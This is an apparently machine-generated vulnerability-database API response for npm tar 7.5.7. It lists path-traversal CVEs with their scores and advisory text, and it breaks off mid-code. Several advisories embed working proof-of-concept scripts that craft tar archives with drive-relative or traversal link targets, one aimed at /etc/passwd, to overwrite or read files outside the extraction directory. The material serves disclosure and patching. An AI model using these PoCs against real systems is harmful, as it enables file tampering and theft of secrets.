Package Instance
Lookup for vulnerable packages by Package URL.
GET /api/packages/61543?format=api
{ "url": "http://public2.vulnerablecode.io/api/packages/61543?format=api", "purl": "pkg:npm/tar@7.5.7", "type": "npm", "namespace": "", "name": "tar", "version": "7.5.7", "qualifiers": {}, "subpath": "", "is_vulnerable": true, "next_non_vulnerable_version": "7.5.11", "latest_non_vulnerable_version": "7.5.11", "affected_by_vulnerabilities": [ { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/24908?format=api", "vulnerability_id": "VCID-bj4b-gq5e-2kfy", "summary": "tar has Hardlink Path Traversal via Drive-Relative Linkpath\n### Summary\n`tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.\n\n### Details\nThe extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments *before* stripping absolute roots.\n\nWhat happens with `linkpath: \"C:../target.txt\"`:\n1. Split on `/` gives `['C:..', 'target.txt']`, so `parts.includes('..')` is false.\n2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`.\n3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up.\n4. Writing through the extracted hardlink overwrites the outside file.\n\nThis is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.\n\n### PoC\nTested on Arch Linux with `tar@7.5.9`.\n\nPoC script (`poc.cjs`):\n\n```js\nconst fs = require('fs')\nconst path = require('path')\nconst { Header, x } = require('tar')\n\nconst cwd = process.cwd()\nconst target = path.resolve(cwd, '..', 'target.txt')\nconst tarFile = path.join(process.cwd(), 'poc.tar')\n\nfs.writeFileSync(target, 'ORIGINAL\\n')\n\nconst b = Buffer.alloc(1536)\nnew Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)\nfs.writeFileSync(tarFile, b)\n\nx({ cwd, file: tarFile }).then(() => {\n fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\\n')\n process.stdout.write(fs.readFileSync(target, 'utf8'))\n})\n```\n\nRun:\n\n```bash\ncd test-workspace\nnode poc.cjs && ls -l ../target.txt\n```\n\nObserved output:\n\n```text\nPWNED\n-rw-r--r-- 2 joshuavr joshuavr 6 Mar 4 19:25 ../target.txt\n```\n\n`PWNED` confirms outside file content overwrite. Link count `2` confirms the extracted file and `../target.txt` are hardlinked.\n\n### Impact\nThis is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.\n\nRealistic scenarios:\n- CLI tools unpacking untrusted tarballs into a working directory\n- build/update pipelines consuming third-party archives\n- services that import user-supplied tar files", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-29786.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.6", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-29786.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-29786", "reference_id": "", "reference_type": "", "scores": [ { "value": "5e-05", "scoring_system": "epss", "scoring_elements": "0.00243", "published_at": "2026-04-07T12:55:00Z" }, { "value": "5e-05", "scoring_system": "epss", "scoring_elements": "0.00275", "published_at": "2026-04-11T12:55:00Z" }, { "value": "5e-05", "scoring_system": "epss", "scoring_elements": "0.00245", "published_at": "2026-04-02T12:55:00Z" }, { "value": "5e-05", "scoring_system": "epss", "scoring_elements": "0.00276", "published_at": "2026-04-09T12:55:00Z" }, { "value": "5e-05", "scoring_system": "epss", "scoring_elements": "0.00277", "published_at": "2026-04-08T12:55:00Z" }, { "value": "5e-05", "scoring_system": "epss", "scoring_elements": "0.00246", "published_at": "2026-04-04T12:55:00Z" }, { "value": "5e-05", "scoring_system": "epss", "scoring_elements": "0.00269", "published_at": "2026-04-16T12:55:00Z" }, { "value": "5e-05", "scoring_system": "epss", "scoring_elements": "0.00271", "published_at": "2026-04-13T12:55:00Z" }, { "value": "5e-05", "scoring_system": "epss", "scoring_elements": "0.00272", "published_at": "2026-04-12T12:55:00Z" }, { "value": "7e-05", "scoring_system": "epss", "scoring_elements": "0.00627", "published_at": "2026-04-21T12:55:00Z" }, { "value": "7e-05", "scoring_system": "epss", "scoring_elements": "0.00586", "published_at": "2026-04-18T12:55:00Z" }, { "value": "7e-05", "scoring_system": "epss", "scoring_elements": "0.00624", "published_at": "2026-04-24T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-29786" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-29786", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-29786" }, { "reference_url": "https://github.com/isaacs/node-tar", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.2", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/isaacs/node-tar" }, { "reference_url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.2", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-09T17:52:29Z/" } ], "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f" }, { "reference_url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "reference_id": "", "reference_type": "", "scores": [ { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "8.2", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-09T17:52:29Z/" } ], "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29786", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.2", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29786" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445476", "reference_id": "2445476", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445476" }, { "reference_url": "https://github.com/advisories/GHSA-qffp-2rhf-9h96", "reference_id": "GHSA-qffp-2rhf-9h96", "reference_type": "", "scores": [ { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-qffp-2rhf-9h96" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/68098?format=api", "purl": "pkg:npm/tar@7.5.10", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-qunt-xms1-a3cc" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/tar@7.5.10" } ], "aliases": [ "CVE-2026-29786", "GHSA-qffp-2rhf-9h96" ], "risk_score": 4.0, "exploitability": "0.5", "weighted_severity": "8.0", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-bj4b-gq5e-2kfy" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/20889?format=api", "vulnerability_id": "VCID-jj22-rfbv-bkg3", "summary": "Arbitrary File Read/Write via Hardlink Target Escape Through Symlink Chain in node-tar Extraction\n### Summary\n`tar.extract()` in Node `tar` allows an attacker-controlled archive to create a hardlink inside the extraction directory that points to a file outside the extraction root, using default options.\n\nThis enables **arbitrary file read and write** as the extracting user (no root, no chmod, no `preservePaths`).\n\nSeverity is high because the primitive bypasses path protections and turns archive extraction into a direct filesystem access primitive.\n\n### Details\nThe bypass chain uses two symlinks plus one hardlink:\n\n1. `a/b/c/up -> ../..`\n2. `a/b/escape -> c/up/../..`\n3. `exfil` (hardlink) -> `a/b/escape/<target-relative-to-parent-of-extract>`\n\nWhy this works:\n\n- Linkpath checks are string-based and do not resolve symlinks on disk for hardlink target safety.\n - See `STRIPABSOLUTEPATH` logic in:\n - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:255`\n - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:268`\n - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:281`\n\n- Hardlink extraction resolves target as `path.resolve(cwd, entry.linkpath)` and then calls `fs.link(target, destination)`.\n - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:566`\n - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:567`\n - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:703`\n\n- Parent directory safety checks (`mkdir` + symlink detection) are applied to the destination path of the extracted entry, not to the resolved hardlink target path.\n - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:617`\n - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:619`\n - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/mkdir.js:27`\n - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/mkdir.js:101`\n\nAs a result, `exfil` is created inside extraction root but linked to an external file. The PoC confirms shared inode and successful read+write via `exfil`.\n\n### PoC\n[hardlink.js](https://github.com/user-attachments/files/25240082/hardlink.js)\nEnvironment used for validation:\n\n- Node: `v25.4.0`\n- tar: `7.5.7`\n- OS: macOS Darwin 25.2.0\n- Extract options: defaults (`tar.extract({ file, cwd })`)\n\nSteps:\n\n1. Prepare/locate a `tar` module. If `require('tar')` is not available locally, set `TAR_MODULE` to an absolute path to a tar package directory.\n\n2. Run:\n\n```bash\nTAR_MODULE=\"$(cd '../tar-audit-setuid - CVE/node_modules/tar' && pwd)\" node hardlink.js\n```\n\n3. Expected vulnerable output (key lines):\n\n```text\nsame_inode=true\nread_ok=true\nwrite_ok=true\nresult=VULNERABLE\n```\n\nInterpretation:\n\n- `same_inode=true`: extracted `exfil` and external secret are the same file object.\n- `read_ok=true`: reading `exfil` leaks external content.\n- `write_ok=true`: writing `exfil` modifies external file.\n\n### Impact\nVulnerability type:\n\n- Arbitrary file read/write via archive extraction path confusion and link resolution.\n\nWho is impacted:\n\n- Any application/service that extracts attacker-controlled tar archives with Node `tar` defaults.\n- Impact scope is the privileges of the extracting process user.\n\nPotential outcomes:\n\n- Read sensitive files reachable by the process user.\n- Overwrite writable files outside extraction root.\n- Escalate impact depending on deployment context (keys, configs, scripts, app data).", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-26960.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.1", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-26960.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-26960", "reference_id": "", "reference_type": "", "scores": [ { "value": "5e-05", "scoring_system": "epss", "scoring_elements": "0.00263", "published_at": "2026-04-02T12:55:00Z" }, { "value": "7e-05", "scoring_system": "epss", "scoring_elements": "0.00547", "published_at": "2026-04-21T12:55:00Z" }, { "value": "7e-05", "scoring_system": "epss", "scoring_elements": "0.00509", "published_at": "2026-04-16T12:55:00Z" }, { "value": "7e-05", "scoring_system": "epss", "scoring_elements": "0.00512", "published_at": "2026-04-13T12:55:00Z" }, { "value": "7e-05", "scoring_system": "epss", "scoring_elements": "0.00517", "published_at": "2026-04-07T12:55:00Z" }, { "value": "7e-05", "scoring_system": "epss", "scoring_elements": "0.00518", "published_at": "2026-04-04T12:55:00Z" }, { "value": "7e-05", "scoring_system": "epss", "scoring_elements": "0.00513", "published_at": "2026-04-18T12:55:00Z" }, { "value": "7e-05", "scoring_system": "epss", "scoring_elements": "0.00542", "published_at": "2026-04-24T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-26960" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-26960", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-26960" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/isaacs/node-tar", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/isaacs/node-tar" }, { "reference_url": "https://github.com/isaacs/node-tar/commit/2cb1120bcefe28d7ecc719b41441ade59c52e384", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-02-20T15:29:17Z/" } ], "url": "https://github.com/isaacs/node-tar/commit/2cb1120bcefe28d7ecc719b41441ade59c52e384" }, { "reference_url": "https://github.com/isaacs/node-tar/commit/d18e4e1f846f4ddddc153b0f536a19c050e7499f", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-02-20T15:29:17Z/" } ], "url": "https://github.com/isaacs/node-tar/commit/d18e4e1f846f4ddddc153b0f536a19c050e7499f" }, { "reference_url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-83g3-92jg-28cx", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N" }, { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-02-20T15:29:17Z/" } ], "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-83g3-92jg-28cx" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26960", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26960" }, { "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1129378", "reference_id": "1129378", "reference_type": "", "scores": [], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1129378" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2441253", "reference_id": "2441253", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2441253" }, { "reference_url": "https://github.com/advisories/GHSA-83g3-92jg-28cx", "reference_id": "GHSA-83g3-92jg-28cx", "reference_type": "", "scores": [ { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-83g3-92jg-28cx" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:5447", "reference_id": "RHSA-2026:5447", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:5447" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:6192", "reference_id": "RHSA-2026:6192", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:6192" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:6428", "reference_id": "RHSA-2026:6428", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:6428" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/62803?format=api", "purl": "pkg:npm/tar@7.5.8", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-bj4b-gq5e-2kfy" }, { "vulnerability": "VCID-qunt-xms1-a3cc" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/tar@7.5.8" } ], "aliases": [ "CVE-2026-26960", "GHSA-83g3-92jg-28cx" ], "risk_score": 4.0, "exploitability": "0.5", "weighted_severity": "8.0", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-jj22-rfbv-bkg3" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/24011?format=api", "vulnerability_id": "VCID-qunt-xms1-a3cc", "summary": "node-tar Symlink Path Traversal via Drive-Relative Linkpath\n### Summary\n`tar` (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as `C:../../../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.\n\n### Details\nThe extraction logic in `Unpack[STRIPABSOLUTEPATH]` validates `..` segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored `linkpath` to the stripped value.\n\nWhat happens with `linkpath: \"C:../../../target.txt\"`:\n1. `stripAbsolutePath()` removes `C:` and rewrites the value to `../../../target.txt`.\n2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.\n3. Symlink creation uses the rewritten value (`../../../target.txt`) from nested path `a/b/l`.\n4. Writing through the extracted symlink overwrites the outside file (`../target.txt`).\n\nThis is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.\n\n### PoC\nTested on Arch Linux with `tar@7.5.10`.\n\nPoC script (`poc.cjs`):\n\n```js\nconst fs = require('fs')\nconst path = require('path')\nconst { Header, x } = require('tar')\n\nconst cwd = process.cwd()\nconst target = path.resolve(cwd, '..', 'target.txt')\nconst tarFile = path.join(cwd, 'poc.tar')\n\nfs.writeFileSync(target, 'ORIGINAL\\n')\n\nconst b = Buffer.alloc(1536)\nnew Header({\n path: 'a/b/l',\n type: 'SymbolicLink',\n linkpath: 'C:../../../target.txt',\n}).encode(b, 0)\nfs.writeFileSync(tarFile, b)\n\nx({ cwd, file: tarFile }).then(() => {\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\n process.stdout.write(fs.readFileSync(target, 'utf8'))\n})\n```\n\nRun:\n\n```bash\nnode poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt\n```\n\nObserved output:\n\n```text\nPWNED\n../../../target.txt\nlrwxrwxrwx - joshuavr 7 Mar 18:37 a/b/l -> ../../../target.txt\n.rw-r--r-- 6 joshuavr 7 Mar 18:37 ../target.txt\n```\n\n`PWNED` confirms outside file content overwrite. `readlink` and `ls -l` confirm the extracted symlink points outside the extraction directory.\n\n### Impact\nThis is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.\n\nRealistic scenarios:\n- CLI tools unpacking untrusted tarballs into a working directory\n- build/update pipelines consuming third-party archives\n- services that import user-supplied tar files", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-31802.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.2", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-31802.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-31802", "reference_id": "", "reference_type": "", "scores": [ { "value": "7e-05", "scoring_system": "epss", "scoring_elements": "0.00477", "published_at": "2026-04-04T12:55:00Z" }, { "value": "7e-05", "scoring_system": "epss", "scoring_elements": "0.00467", "published_at": "2026-04-09T12:55:00Z" }, { "value": "7e-05", "scoring_system": "epss", "scoring_elements": "0.00481", "published_at": "2026-04-02T12:55:00Z" }, { "value": "7e-05", "scoring_system": "epss", "scoring_elements": "0.0047", "published_at": "2026-04-08T12:55:00Z" }, { "value": "7e-05", "scoring_system": "epss", "scoring_elements": "0.00472", "published_at": "2026-04-07T12:55:00Z" }, { "value": "8e-05", "scoring_system": "epss", "scoring_elements": "0.00664", "published_at": "2026-04-12T12:55:00Z" }, { "value": "8e-05", "scoring_system": "epss", "scoring_elements": "0.00665", "published_at": "2026-04-13T12:55:00Z" }, { "value": "8e-05", "scoring_system": "epss", "scoring_elements": "0.00671", "published_at": "2026-04-11T12:55:00Z" }, { "value": "8e-05", "scoring_system": "epss", "scoring_elements": "0.00705", "published_at": "2026-04-24T12:55:00Z" }, { "value": "8e-05", "scoring_system": "epss", "scoring_elements": "0.00663", "published_at": "2026-04-18T12:55:00Z" }, { "value": "8e-05", "scoring_system": "epss", "scoring_elements": "0.00658", "published_at": "2026-04-16T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-31802" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31802", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31802" }, { "reference_url": "https://github.com/isaacs/node-tar", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.2", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/isaacs/node-tar" }, { "reference_url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.2", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-10T14:56:31Z/" } ], "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad" }, { "reference_url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-9ppj-qmqm-q256", "reference_id": "", "reference_type": "", "scores": [ { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "8.2", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-10T14:56:31Z/" } ], "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-9ppj-qmqm-q256" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31802", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.2", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31802" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445881", "reference_id": "2445881", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445881" }, { "reference_url": "https://github.com/advisories/GHSA-9ppj-qmqm-q256", "reference_id": "GHSA-9ppj-qmqm-q256", "reference_type": "", "scores": [ { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-9ppj-qmqm-q256" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/67069?format=api", "purl": "pkg:npm/tar@7.5.11", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/tar@7.5.11" } ], "aliases": [ "CVE-2026-31802", "GHSA-9ppj-qmqm-q256" ], "risk_score": 4.0, "exploitability": "0.5", "weighted_severity": "8.0", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-qunt-xms1-a3cc" } ], "fixing_vulnerabilities": [ { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/20118?format=api", "vulnerability_id": "VCID-xqpk-t1d2-yqak", "summary": "node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal\n### Summary\nnode-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.\n\n### Details\nThe vulnerability exists in `lib/unpack.js`. When extracting a hardlink, two functions handle the linkpath differently:\n\n**Security check in `[STRIPABSOLUTEPATH]`:**\n```javascript\nconst entryDir = path.posix.dirname(entry.path);\nconst resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));\nif (resolved.startsWith('../')) { /* block */ }\n```\n\n**Hardlink creation in `[HARDLINK]`:**\n```javascript\nconst linkpath = path.resolve(this.cwd, entry.linkpath);\nfs.linkSync(linkpath, dest);\n```\n\n**Example:** An application extracts a TAR using `tar.extract({ cwd: '/var/app/uploads/' })`. The TAR contains entry `a/b/c/d/x` as a hardlink to `../../../../etc/passwd`.\n\n- **Security check** resolves the linkpath relative to the entry's parent directory: `a/b/c/d/ + ../../../../etc/passwd` = `etc/passwd`. No `../` prefix, so it **passes**.\n\n- **Hardlink creation** resolves the linkpath relative to the extraction directory (`this.cwd`): `/var/app/uploads/ + ../../../../etc/passwd` = `/etc/passwd`. This **escapes** to the system's `/etc/passwd`.\n\nThe security check and hardlink creation use different starting points (entry directory `a/b/c/d/` vs extraction directory `/var/app/uploads/`), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.\n\n### PoC\n#### Setup\n\nCreate a new directory with these files:\n\n```\npoc/\n├── package.json\n├── secret.txt ← sensitive file (target)\n├── server.js ← vulnerable server\n├── create-malicious-tar.js\n├── verify.js\n└── uploads/ ← created automatically by server.js\n └── (extracted files go here)\n```\n\n**package.json**\n```json\n{ \"dependencies\": { \"tar\": \"^7.5.0\" } }\n```\n\n**secret.txt** (sensitive file outside uploads/)\n```\nDATABASE_PASSWORD=supersecret123\n```\n\n**server.js** (vulnerable file upload server)\n```javascript\nconst http = require('http');\nconst fs = require('fs');\nconst path = require('path');\nconst tar = require('tar');\n\nconst PORT = 3000;\nconst UPLOAD_DIR = path.join(__dirname, 'uploads');\nfs.mkdirSync(UPLOAD_DIR, { recursive: true });\n\nhttp.createServer((req, res) => {\n if (req.method === 'POST' && req.url === '/upload') {\n const chunks = [];\n req.on('data', c => chunks.push(c));\n req.on('end', async () => {\n fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks));\n await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR });\n res.end('Extracted\\n');\n });\n } else if (req.method === 'GET' && req.url === '/read') {\n // Simulates app serving extracted files (e.g., file download, static assets)\n const targetPath = path.join(UPLOAD_DIR, 'd', 'x');\n if (fs.existsSync(targetPath)) {\n res.end(fs.readFileSync(targetPath));\n } else {\n res.end('File not found\\n');\n }\n } else if (req.method === 'POST' && req.url === '/write') {\n // Simulates app writing to extracted file (e.g., config update, log append)\n const chunks = [];\n req.on('data', c => chunks.push(c));\n req.on('end', () => {\n const targetPath = path.join(UPLOAD_DIR, 'd', 'x');\n if (fs.existsSync(targetPath)) {\n fs.writeFileSync(targetPath, Buffer.concat(chunks));\n res.end('Written\\n');\n } else {\n res.end('File not found\\n');\n }\n });\n } else {\n res.end('POST /upload, GET /read, or POST /write\\n');\n }\n}).listen(PORT, () => 